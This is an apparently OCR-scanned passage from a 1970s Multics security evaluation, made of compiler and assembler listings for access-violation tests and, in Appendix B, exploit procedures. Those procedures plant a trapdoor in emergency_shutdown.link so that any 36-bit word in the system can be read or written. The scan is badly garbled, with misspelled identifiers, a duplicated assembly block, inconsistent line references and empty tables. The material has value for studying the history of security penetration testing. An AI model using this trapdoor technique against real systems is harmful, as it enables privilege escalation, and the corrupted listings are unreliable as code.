<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
</tr>
</thead>
<tbody>
<tr>
<td>NAME DECLARED BY DECLARE STATEMENT</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>array</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>bitstring</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>clock</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>code</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>cu.ev_level_set</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>fp</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>get_pair</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>hcs.EP</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>hcs.EXP</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>high_code</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>j</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>next_code</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ne_error</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>p</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>p2</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>p3</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scratch</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>sp</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>subvoid_inst</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>subvillage_base</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>subventry_base</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>subvized_fetcher</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>subvized_storer</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>time_ofFailure</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>test.err</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>test chịu_</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>cum_total_time</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>cu_v_test_time</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>end_of_segment</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>failure_block</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>last_failure_block</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>last_test_time</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>max_block</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>number_of_attempts</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>number_of_failures</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>number_of_tests</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>subvized_statistics</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>test.in_progress</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

| ATTRIBUTES AND REFERENCES | |
|---------------------------||
| array dcl 8 set ref 89 90 194 204 158 77 | |
| dcl 0 ref 132 | |
| dcl 8 ref 132 | |
| external dcl 8 set ref 90 91 197 116 124 136 191 161 161 124 126 138 137 126 142 143 147 141 192 199 161 161 | |
| dcl 0 ref 89 90 194 204 158 77 | |
| external dcl 8 ref 89 90 194 204 158 77 | |
| external dcl 8 ref 92 93 96 77 | |
| external dcl 8 ref 94 | |
| initial dcl 8 ref 158 | |
| dcl 0 set ref 89 90 194 204 193 138 137 138 190 192 | |
| dcl 0 set ref 78 79 | |
| dcl 0 set ref 78 79 | |
| level 2 packed unaligned dcl 1-7 set ref 190 195 | |
| level 199 199 198 162 | |
| initial dcl 8 set ref 89 90 194 193 96 66 | |
| dcl 8 set ref 74 75 | |
| initial dcl 8 set ref 73 73 73 74 75 77 | |
| initial dcl 8 set ref 131 132 134 136 138 139 90 | |
| initial dcl 8 set ref 73 73 | |
| initial dcl 8 set ref 130 92 92 94 | |
| initial dcl 8 set ref 130 92 92 94 | |
| initial dcl 8 set ref 130 92 92 94 | |
| initial dcl 8 set ref 130 92 92 94 | |
| initial dcl 8 set ref 130 92 92 94 | |
| initial dcl 8 set ref 130 92 92 94 | |
| external dcl 8 ref 123 | |
| external dcl 8 ref 159 | |
| external dcl 8 ref 183 | |
| external dcl 8 ref 106 | |
| external dcl 8 ref 106 | |
| external dcl 8 ref 106 | |
| external dcl 8 ref 106 | |
| external dcl 8 ref 106 | |
| external dcl 8 ref 115 | |
| level 2 dcl 2-10 set ref 98 99 187 116 124 136 151 161 | |
| external dcl 8 | |
| array level 3 dcl 1-7 | |
| level 2 dcl 1-7 | |
| level 2 packed unaligned dcl 1-7 | |
| level 1 dcl 2-10 | |
| array level 3 packed unaligned dcl 1-7 | |
| level 2 packed unaligned dcl 1-7 | |
| level 2 dcl 1-7 | |
| level 2 packed unaligned dcl 2-10 | |
| array level 3 dcl 1-7 | |
| array level 3 dcl 1-7 | |
| level 2 dcl 1-7 | |
| level 1 dcl 1-7 | |
| level 2 dcl 1-7 | |
tests 12 based on tests 4 based on fixed bin(7,8) prev level 2 decl 1-7

NAMES DECLARED BY EXPLICIT CONTEXT.
access_violations_ fetch get_no_acc_seg get_read_seg get kaps_scratch_seg id illegal_bounds_fault illegal_opcodes illegal_bounds_fault store zed_fetch use_store

NAMES DECLARED BY CONTEXT OR IMPLICATION.
mulp pointer substr uncast builtln function builtln function builtln function builtln function

STORAGE REQUIREMENTS FOR THIS PROGRAM.

External procedure access_violations_ uses 296 words of automatic storage
External procedure get_scratch_seg shares stack frame of external procedure access_violations_
External procedure get_read_seg shares stack frame of external procedure access_violations_
External procedure get_no_acc_seg shares stack frame of external procedure access_violations_
External procedure get_read_seg shares stack frame of external procedure access_violations_

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.
refefined 1 bdp
call_ext_out_desc call_ext_out return signal ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.
clock_ cu_flight_level_get get_dir_ hcs_8832seg hcs_8832unfused_seg subv832d_list hcs_8832addr subv832seg_subsc subv832seg_subsc

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC
0 000067 2 000065 4 000066 6 000075 8 000076 40 0000101
91 0000113 92 0000120 95 0000121 97 0000128 99 0000131 104 000076 100 0000146
103 0000147 105 0000156 106 0000157 107 0000170 108 0000202 109 0000202 112 0000210
114 0000217 115 0000220 116 0000227 117 0000241 120 0000242 122 0000251 133 0000523
124 0000261 125 0000273 128 0000274 130 0000303 131 0000304 132 0000313 133 0000523
134 0000327 136 0000333 137 0000345 138 0000352 139 0000358 141 0000361 142 0000366
```
ASSEMBLY LISTING OF SEGMENT >user_dir>Druid>xarray>compiler_pool>subv.ala
ASSEMBLED ON 6/11/74 1826.1 ed Thu
OPTIONS USED: list old_object old_call symbols
ASSEMBLED BY: ALM Version 4.4, September 1973
ASSEMBLER CREATED: 02/13/74 1726.8 ed Wed

```
```assembly
000000  000031  1    name subv
000000  000000  2    entry try_op
000000  000000  3    entry legal_bit
000000  000031  4    entry illegal_bit
000000  000000  5    entry xed_fetcher
000000  000000  6    entry xed_storer
000000  000031  7    entry id_inst
000000  000000  8    entry cam
000000  000000  9    entry scu
000000  000000  10  entry liet
000000  000000  11  entry idbr
000000  000000  12  entry sdbr
000000  000000  13  entry clrc
000000  000000  14  entry dis
000000  000000  15  entry race
000000  000000  16  entry sace
000000  000000  17  entry saic
000000  000000  18  entry laic
000000  000000  19  entry ilm
000000  000000  20  entry sas
000000  000000  21  entry "scu"
000000  000000  22  equ time_of_failure,2
000000  000000  23  equ low_error_time,3
000000  000000  24  equ save_area,5
000000  000000  25  temp base_registers
000000  000000  26  temp control

26  cast save
```
```assembly
000000  000022  3521 20  26  cast save
000001  000020  3521 00
000002  000000  3521 00
000003  000000  3521 00
000004  000000  3521 00
000005  000000  3521 00
000006  000000  5320 00
000007  000151  7100 04
000008  000000  5320 00
000009  000151  7100 04
000010  000022  3521 20
000011  000020  6521 00
000012  000000  6521 00
000013  000000  6521 00
000014  000000  6521 00
000015  000000  2591 00
000016  000000  6570 00
000017  000141  7100 04
000018  000000  6570 00
000019  000141  7100 04
000020  000022  3521 20
000021  000020  6521 00
000022  000100  3521 00
000023  000000  3521 00
000024  000000  3521 00
000025  000000  6521 00
000026  000000  6570 00
000027  000131  7100 04
000028  000000  6570 00
000029  000131  7100 04
000030  000000  6570 00
000031  000131  7100 04
000032  000000  6570 00
000033  000131  7100 04
000034  000000  6570 00
000035  000131  7100 04
000036  000000  6570 00
000037  000131  7100 04
000038  000000  6570 00
000039  000131  7100 04
```
```assembly
000000  000022  3521 20  26  cast save
000001  000020  3521 00
000002  000000  3521 00
000003  000000  3521 00
000004  000000  3521 00
000005  000000  3521 00
000006  000000  5320 00
000007  000151  7100 04
000008  000000  5320 00
000009  000151  7100 04
000010  000022  3521 20
000011  000020  6521 00
000012  000000  6521 00
000013  000000  6521 00
000014  000000  6521 00
000015  000000  2591 00
000016  000000  6570 00
000017  000141  7100 04
000018  000000  6570 00
000019  000141  7100 04
000020  000022  3521 20
000021  000020  6521 00
000022  000100  3521 00
000023  000000  3521 00
000024  000000  3521 00
000025  000000  6521 00
000026  000000  6570 00
000027  000131  7100 04
000028  000000  6570 00
000029  000131  7100 04
000030  000000  6570 00
000031  000131  7100 04
000032  000000  6570 00
000033  000131  7100 04
000034  000000  6570 00
000035  000131  7100 04
000036  000000  6570 00
000037  000131  7100 04
000038  000000  6570 00
000039  000131  7100 04
```
000110: 0 00022 3521 20
000111: 6 00020 6521 00
000112: 0 00100 3521 00
000113: 2 77722 2521 00
000114: 2 77700 3331 00
000115: 6 00032 2501 00
000116: 000000 4510 00
000117: 00001 7100 04
000120: 6 00022 3521 20
000121: 2 00020 6521 00
000122: 2 00100 3521 00
000123: 2 77722 2521 00
000124: 2 77700 3331 00
000125: 6 00032 2501 00
000126: 000000 4510 00
000127: 000031 7100 04
000130: 6 00022 3521 20
000131: 2 00020 6521 00
000132: 2 00100 3521 00
000133: 2 77722 2521 00
000134: 2 77700 3331 00
000135: 6 00032 2501 00
000136: 000000 4510 00
000137: 000021 7100 04
000140: 6 00022 3521 20
000141: 2 00020 6521 00
000142: 2 00100 3521 00
000143: 2 77722 2521 00
000144: 2 77700 3331 00
000145: 6 00032 2501 00
000146: 000000 5570 00
000147: 000011 7100 04
000150: 6 00022 3521 20
000151: 2 00020 6521 00
000152: 2 00100 3521 00
000153: 2 77722 2521 00
000154: 2 77700 3331 00
000155: 6 00032 2501 00
000156: 000000 6130 00
000157: 000001 7100 04
000160: 6 00050 2541 00
000161: 6 00050 7531 00
000162: 6 00070 3971 00
000163: 9 00002 3521 20
000164: 2 00000 3521 20
000166: master_mode_succeeded
000167: stb bases
000168: stb registers
000169: stcd control
000170: echip 8pl2,*
000171: echip 8pl0,*
000172: Get pointer to argument 1
000173: Argument 1 is a pointer
This time reference beyond 64K should fault.

got pointer to return point.
store the value we got illegally.

load the opcode
shift to left 9 bits
add the arg 0 instruction
pointer to arg 2
arg 2 in a pointer to segment
store the instruction in the segment
now execute the instruction

NO LITERALS
### MULTICS ASSEMBLY CROSS REFERENCE LISTING

<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
</table>
| 330   | arg_0                   | subv1       | 2, 3, 4, 5, 6, 7, 8, |...
| 59    | base                    | subv1       | 14, 15, 18, 17, 16, |...
| 171   | base_loop               | subv1       | 109, 114,           |...
| 366   | bounds_pair             | subv1       | 184, 189, 199,      |...
| 9     | cma                     | subv1       | 8, 28,              |...
| 58    | clock                   | subv1       | 104, 126,           |...
| 75    | control                 | subv1       | 269, 299, 126,     |...
| 68    | dis                     | subv1       | 149, 45,           |...
| 254   | fetch_succeeded         | subv1       | 139, 150,           |...
| 248   | lid_inst                | subv1       | 7, 191,             |...
| 318   | illegal_of              | subv1       | 4, 193,             |...
| 128   | iscl                    | subv1       | 18, 75,            |...
| 130   | lae                     | subv1       | 19, 60,            |...
| 10    | idbr                    | subv1       | 11, 40,            |...
| 26    | idt                     | subv1       | 18, 36,            |...
| 267   | illegal_of              | subv1       | 3, 179,            |...
| 3     | low_order_time          | subv1       | 23, 196,           |...
| 168   | master_mode_succeeded   | subv1       | 38, 39, 32, 42, 47, |...
| 158   | rcu                     | subv1       | 21, 93,            |...
| 80    | registers               | subv1       | 29, 90, 118,       |...
| 177   | regs_loop               | subv1       | 117, 128,          |...
| 78    | reca                    | subv1       | 15, 60,            |...
| 148   | save                    | subv1       | 28, 85,            |...
| 6     | save_area               | subv1       | 28, 111, 119, 127, |...
| 11    | scu                     | subv1       | 9, 32,             |...
| 40    | sdbr                    | subv1       | 12, 45,            |...
| 187   | scma                    | subv1       | 16, 63,            |...
| 118   | scl                     | subv1       | 17, 78,            |...
| 2     | sys_info                | subv1       | 104, 105,          |...
| 284   | time_of_failure         | subv1       | 23, 105,          |...
| 331   | try_up                  | subv1       | 2, 205,            |...
| 264   | xed_fetch               | subv1       | 139, 143,          |...
| 212   | xed_fetcher             | subv1       | 9, 132,            |...
| 262   | xed_fetch_pair          | subv1       | 16, 158,          |...
| 265   | xed_store               | subv1       | 147, 178,          |...
| 224   | xed_storeer             | subv1       | 6, 142,            |...
| 284   | xed_store_pair          | subv1       | 178, 175,          |...

**FATAL ERRORS ENCOUNTERED**
APPENDIX B

Unlocked Stack Base Listing

This appendix contains listings of the four modules which make up the code needed to exploit the Unlocked Stack Base Vulnerability described in Section 3.3.3. The first two procedures, dl and dla, implement step one of the vulnerability - inserting code into emergency_shutdown.link (referred to in the listings as esd.link.) The last two procedures, fl and fia, implement step two of the vulnerability - actually using the inserted code to read or write any 36 bit quantity in the system. Figure 9 in the main text corresponds to dl and dla. Figure 10 corresponds to fl and fia. As in Appendix A, obsolete 645 instructions are flagged by the assembler.
COMPIILATION LISTING OF SEGMENT di
Compiled on: 4/10/74 1838.9 est Wed
Options: map

1 dlif
2 prec;
3 / * Procedure to place trapdoor in emergency_shutdown.link */
4 declare
5 ring0_get_address entry (char (*), char (*), ptr, fixed bin),
6 sp ptr;
7 code fixed bin,
8 com_err_entry options (variable),
9 i fixed bin,
10 li entry (ptr, bl? 3b aligned),
11 cle entry (ptr, ptr),
12 moffset fixed bin int static init (296), /* offset within emergency_shutdown.link at which to patch */
13 exp ptr;
14 call ring0_get_address ("", "signal", sp, code); /* get segment number of signal */
15 if code == 0 then
16 do;
17 error: call com_err_ (code, "di");
18 return;
19 end;
20 call ring0_get_address ("", emergency_shutdown.link", exp, code); /* get segment number of emergency_shutdown.link */
21 if code == 0 then go to error!
22 call di (sp, adrexp, moffset)); /* call aie progress to finish */
23 do i = moffset to moffset+11, moffset+14 to moffset+31 /* zero out all but 2 instruction patch */
24 call fi (adrexp, i, "8"b); /* other words were filled from registers */
25 end;
26 end;
**NAMES DECLARED IN THIS Compilation.**

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>000102</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 6 set ref 15 16 18 22 23</td>
</tr>
<tr>
<td>cew_err</td>
<td>000814</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 18</td>
</tr>
<tr>
<td>dia</td>
<td>000820</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 25</td>
</tr>
<tr>
<td>fi</td>
<td>000816</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 27</td>
</tr>
<tr>
<td>ewoffset</td>
<td>000103</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 6 set ref 26 27 28</td>
</tr>
<tr>
<td>mp</td>
<td>000104</td>
<td>automatic</td>
<td>pointer</td>
<td>initial dcl 6 ref 25 26 27 28 26 26 26</td>
</tr>
<tr>
<td>ring0_get_8segptr</td>
<td>000102</td>
<td>constant</td>
<td>entry</td>
<td>dcl 6 set ref 26 25 27 27 27</td>
</tr>
<tr>
<td>ap</td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
<td>external dcl 6 ref 15 22</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>dcl 6 set ref 15 25</td>
</tr>
</tbody>
</table>

**NAMES DECLARED BY EXPLICIT CONTEXT.**

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>di</td>
<td>000208</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 1 ref 1</td>
</tr>
<tr>
<td>error</td>
<td>000061</td>
<td>constant</td>
<td>label</td>
<td>dcl 10 ref 18 &quot;3</td>
</tr>
</tbody>
</table>

**NAME DECLARED BY CONTEXT OR IMPLICATION.**

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>addrl</td>
<td></td>
<td></td>
<td></td>
<td>internal ref 25 25 27 27</td>
</tr>
</tbody>
</table>

**STORAGE REQUIREMENTS FOR THIS PROGRAM.**

<table>
<thead>
<tr>
<th>OBJECT</th>
<th>TEXT</th>
<th>LINK</th>
<th>SYMBOL</th>
<th>DATA</th>
<th>STATIC</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>454</td>
<td>220</td>
<td>22</td>
<td>90</td>
<td>12</td>
</tr>
<tr>
<td>Length</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

External procedure di uses 118 words of automatic storage.

**THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.**

<table>
<thead>
<tr>
<th>OPERATOR</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>cell_ext_out</td>
<td>rpd_loop_1.m_6</td>
</tr>
<tr>
<td>cell_ext_out</td>
<td>rpd_loop_1.m_6</td>
</tr>
<tr>
<td>return</td>
<td>ext_entry</td>
</tr>
<tr>
<td>fl</td>
<td>ring0_get_8segptr</td>
</tr>
</tbody>
</table>

**THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.**

**NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.**

**LINES KEPT**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000017</td>
<td>15</td>
<td>000025</td>
<td>16</td>
<td>000057</td>
<td>18</td>
<td>000061</td>
<td>20</td>
<td>0000100</td>
</tr>
<tr>
<td>25</td>
<td>000134</td>
<td>26</td>
<td>000150</td>
<td>27</td>
<td>000161</td>
<td>28</td>
<td>000200</td>
<td>29</td>
<td>000217</td>
</tr>
</tbody>
</table>

**LINES USED**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES EXECUTED**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES DELETED**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES COMMENTED OUT**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES WITH ERRORS**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES WITH ALLOCATED STORAGE**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES WITH UNALLOCATED STORAGE**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES WITH VARYING STORAGE**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**LINES WITH FIXED STORAGE**:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Address</td>
<td>Instruction</td>
<td>Description</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>-------------</td>
<td>-------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000000</td>
<td>lddq</td>
<td>xed_inst</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000001</td>
<td></td>
<td>&quot;instructions in AQ&quot;</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000002</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000003</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000004</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000005</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000006</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000007</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000008</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000009</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000a</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000c</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000d</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000e</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000f</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**NO LITERALS**
<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>*text</td>
<td>d1a</td>
<td>2;</td>
</tr>
<tr>
<td>52</td>
<td>do_it_ptr</td>
<td>d1a</td>
<td>2;</td>
</tr>
<tr>
<td>23</td>
<td>return_inst</td>
<td>d1a</td>
<td>3, 11, 15;</td>
</tr>
<tr>
<td>50</td>
<td>return_pointer</td>
<td>d1a</td>
<td>6, 18;</td>
</tr>
<tr>
<td>30</td>
<td>xed_inst</td>
<td>d1a</td>
<td>3, 7, 6;</td>
</tr>
</tbody>
</table>

NO FATAL ERRORS
COMPILATION LISTING OF SEGMENT fl
Compiled on: 08/10/74 1648.9 edit med
Options: map

1 fil
2 proc (fixp, word);
3 /* Entry to store 36 bits */
4 declare
5 rings_get_sliceptr entry (char (*), char (*), ptr, fixed bin),
6 moffset fixed bin int static init (296),
7 ( sp,
8 mvp),
9 ptr,
10 code fixed bin,
11 fixp ptr,
12 word bit (36) aligned,
13 fix entry (ptr, ptr, ptr, bit (36) aligned),
14 com_err_entry options (variable),
15 flaggsia entry (ptr, ptr, ptr, bit (36) aligned),
16 fix bit (1) aligned;
17 fix = "3"d;
18 go to comemnt;
20
21
gil:
22 entry (fixp, word); /* Entry to read out 36 bits */
23 fix = "S"d;
24
comenent
25 call rings_get_sliceptr ("", "signaller", sp, code); /* get segment number of signaller */
26 if code = 8 then
27 do;
28 error:
29 call com_err_ (code, "fl");
30 return;
31 end;
32 call rings_get_sliceptr ("", "emergency_shutdown.link", mvp, code); /* get segment number of emergency_shutdown.lin */
33 if code = 8 then go to error;
34 if fix then call fix (sp, addr1 (mvp, moffset+12), fixp, word); /* call if a program to finish */
35 else call flaggia (sp, addr1 (mvp, moffset+12), fixp, word);
**Names Declared in this Compilation**

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc</th>
<th>Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>000000</td>
<td>4</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 28 30 32 36 37</td>
</tr>
<tr>
<td>com_err</td>
<td>000016</td>
<td>constant</td>
<td>entry</td>
<td></td>
<td>external dcl 7 ref 32</td>
</tr>
<tr>
<td>flte</td>
<td>000020</td>
<td>constant</td>
<td>entry</td>
<td></td>
<td>external dcl 7 ref 36</td>
</tr>
<tr>
<td>flaggia</td>
<td>000028</td>
<td>constant</td>
<td>entry</td>
<td></td>
<td>dcl 7 set ref 19 26 36</td>
</tr>
<tr>
<td>fix</td>
<td>000060</td>
<td>automatic</td>
<td>bit(36)</td>
<td></td>
<td>dcl 7 set ref 1 23 38 39</td>
</tr>
<tr>
<td>flrp</td>
<td>000105</td>
<td>parameter</td>
<td>pointer</td>
<td></td>
<td>initial dcl 7 ref 30 36 38 39 39</td>
</tr>
<tr>
<td>moffset</td>
<td>000108</td>
<td>constant</td>
<td>entry</td>
<td></td>
<td>dcl 7 set ref 30 36 38 39 39</td>
</tr>
<tr>
<td>sp</td>
<td>000108</td>
<td>parameter</td>
<td>pointer</td>
<td></td>
